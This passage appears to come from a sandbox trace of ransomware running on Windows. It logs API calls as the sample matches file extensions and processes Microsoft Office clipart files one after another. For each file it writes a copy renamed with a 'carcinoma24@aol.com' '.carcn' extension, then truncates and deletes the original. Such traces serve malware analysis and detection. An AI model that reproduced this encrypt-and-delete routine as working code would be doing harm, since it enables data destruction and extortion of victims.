Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString=".dbf") returned 4 [0301.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString=".1cd") returned 4 [0301.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString=".jpg") returned 4 [0301.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString=".doc") returned 4 [0301.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString=".docx") returned 5 [0301.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.263] lstrlenW (lpString=".pdf") returned 4 [0301.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString=".xls") returned 4 [0301.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.264] lstrlenW (lpString=".xlsx") returned 5 [0301.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.264] lstrlenW (lpString=".ppt") returned 4 [0301.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.264] lstrlenW (lpString=".zip") returned 4 [0301.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.264] lstrlenW (lpString=".rar") returned 4 [0301.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString=".bz2") returned 4 [0301.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString=".7z") returned 3 [0301.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.264] lstrlenW (lpString=".dbf") returned 4 [0301.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.264] lstrlenW (lpString=".1cd") returned 4 [0301.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.264] lstrlenW (lpString=".jpg") returned 4 [0301.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.264] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.264] lstrlenW (lpString="DD01186_.WMF") returned 12 [0301.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.265] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8564) returned 1 [0301.265] CloseHandle (hObject=0x360) returned 1 [0301.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0301.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.265] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.265] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.266] GetLastError () returned 0x0 [0301.266] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2174, lpOverlapped=0x0) returned 1 [0301.267] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2180, lpOverlapped=0x0) returned 1 [0301.268] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.268] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.268] SetEndOfFile (hFile=0x350) returned 1 [0301.268] CloseHandle (hObject=0x350) returned 1 [0301.269] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.269] SetEndOfFile (hFile=0x360) returned 1 [0301.270] CloseHandle (hObject=0x360) returned 1 [0301.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0301.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.270] lstrlenW (lpString=".doc") returned 4 [0301.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString=".docx") returned 5 [0301.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.271] lstrlenW (lpString=".pdf") returned 4 [0301.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString=".xls") returned 4 [0301.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.271] lstrlenW (lpString=".xlsx") returned 5 [0301.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.271] lstrlenW (lpString=".ppt") returned 4 [0301.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.271] lstrlenW (lpString=".zip") returned 4 [0301.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.271] lstrlenW (lpString=".rar") returned 4 [0301.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString=".bz2") returned 4 [0301.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString=".7z") returned 3 [0301.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.271] lstrlenW (lpString=".dbf") returned 4 [0301.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.271] lstrlenW (lpString=".1cd") returned 4 [0301.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0301.271] lstrlenW (lpString=".jpg") returned 4 [0301.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.272] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.272] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.272] GetLastError () returned 0x0 [0301.272] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0301.273] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0301.274] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.274] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.274] SetEndOfFile (hFile=0x350) returned 1 [0301.274] CloseHandle (hObject=0x350) returned 1 [0301.274] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.274] SetEndOfFile (hFile=0x360) returned 1 [0301.275] CloseHandle (hObject=0x360) returned 1 [0301.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString=".doc") returned 4 [0301.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString=".docx") returned 5 [0301.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.276] lstrlenW (lpString=".pdf") returned 4 [0301.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString=".xls") returned 4 [0301.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.276] lstrlenW (lpString=".xlsx") returned 5 [0301.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.276] lstrlenW (lpString=".ppt") returned 4 [0301.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString=".zip") returned 4 [0301.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.276] lstrlenW (lpString=".rar") returned 4 [0301.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString=".bz2") returned 4 [0301.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString=".7z") returned 3 [0301.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString=".dbf") returned 4 [0301.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString=".1cd") returned 4 [0301.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0301.276] lstrlenW (lpString=".jpg") returned 4 [0301.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.277] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.277] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.277] GetLastError () returned 0x0 [0301.277] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x384, lpOverlapped=0x0) returned 1 [0301.278] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x390, lpOverlapped=0x0) returned 1 [0301.279] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.279] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.279] SetEndOfFile (hFile=0x350) returned 1 [0301.279] CloseHandle (hObject=0x350) returned 1 [0301.279] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.279] SetEndOfFile (hFile=0x360) returned 1 [0301.602] CloseHandle (hObject=0x360) returned 1 [0301.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0301.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.603] lstrlenW (lpString=".doc") returned 4 [0301.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.603] lstrlenW (lpString=".docx") returned 5 [0301.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.603] lstrlenW (lpString=".pdf") returned 4 [0301.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.603] lstrlenW (lpString=".xls") returned 4 [0301.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.603] lstrlenW (lpString=".xlsx") returned 5 [0301.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.603] lstrlenW (lpString=".ppt") returned 4 [0301.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.603] lstrlenW (lpString=".zip") returned 4 [0301.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.603] lstrlenW (lpString=".rar") returned 4 [0301.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.603] lstrlenW (lpString=".bz2") returned 4 [0301.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.604] lstrlenW (lpString=".7z") returned 3 [0301.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.604] lstrlenW (lpString=".dbf") returned 4 [0301.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.604] lstrlenW (lpString=".1cd") returned 4 [0301.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0301.604] lstrlenW (lpString=".jpg") returned 4 [0301.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.604] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.604] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.605] GetLastError () returned 0x0 [0301.605] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0301.606] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0301.607] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.607] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.607] SetEndOfFile (hFile=0x368) returned 1 [0301.607] CloseHandle (hObject=0x368) returned 1 [0301.607] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.607] SetEndOfFile (hFile=0x360) returned 1 [0301.608] CloseHandle (hObject=0x360) returned 1 [0301.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0301.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.609] lstrlenW (lpString=".doc") returned 4 [0301.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.609] lstrlenW (lpString=".docx") returned 5 [0301.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.609] lstrlenW (lpString=".pdf") returned 4 [0301.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString=".xls") returned 4 [0301.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.610] lstrlenW (lpString=".xlsx") returned 5 [0301.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.610] lstrlenW (lpString=".ppt") returned 4 [0301.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.610] lstrlenW (lpString=".zip") returned 4 [0301.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.610] lstrlenW (lpString=".rar") returned 4 [0301.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString=".bz2") returned 4 [0301.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString=".7z") returned 3 [0301.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.610] lstrlenW (lpString=".dbf") returned 4 [0301.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.610] lstrlenW (lpString=".1cd") returned 4 [0301.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0301.610] lstrlenW (lpString=".jpg") returned 4 [0301.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.611] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.611] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.612] GetLastError () returned 0x0 [0301.612] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x439c, lpOverlapped=0x0) returned 1 [0301.613] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0301.614] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.614] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.614] SetEndOfFile (hFile=0x368) returned 1 [0301.614] CloseHandle (hObject=0x368) returned 1 [0301.615] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.615] SetEndOfFile (hFile=0x360) returned 1 [0301.616] CloseHandle (hObject=0x360) returned 1 [0301.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 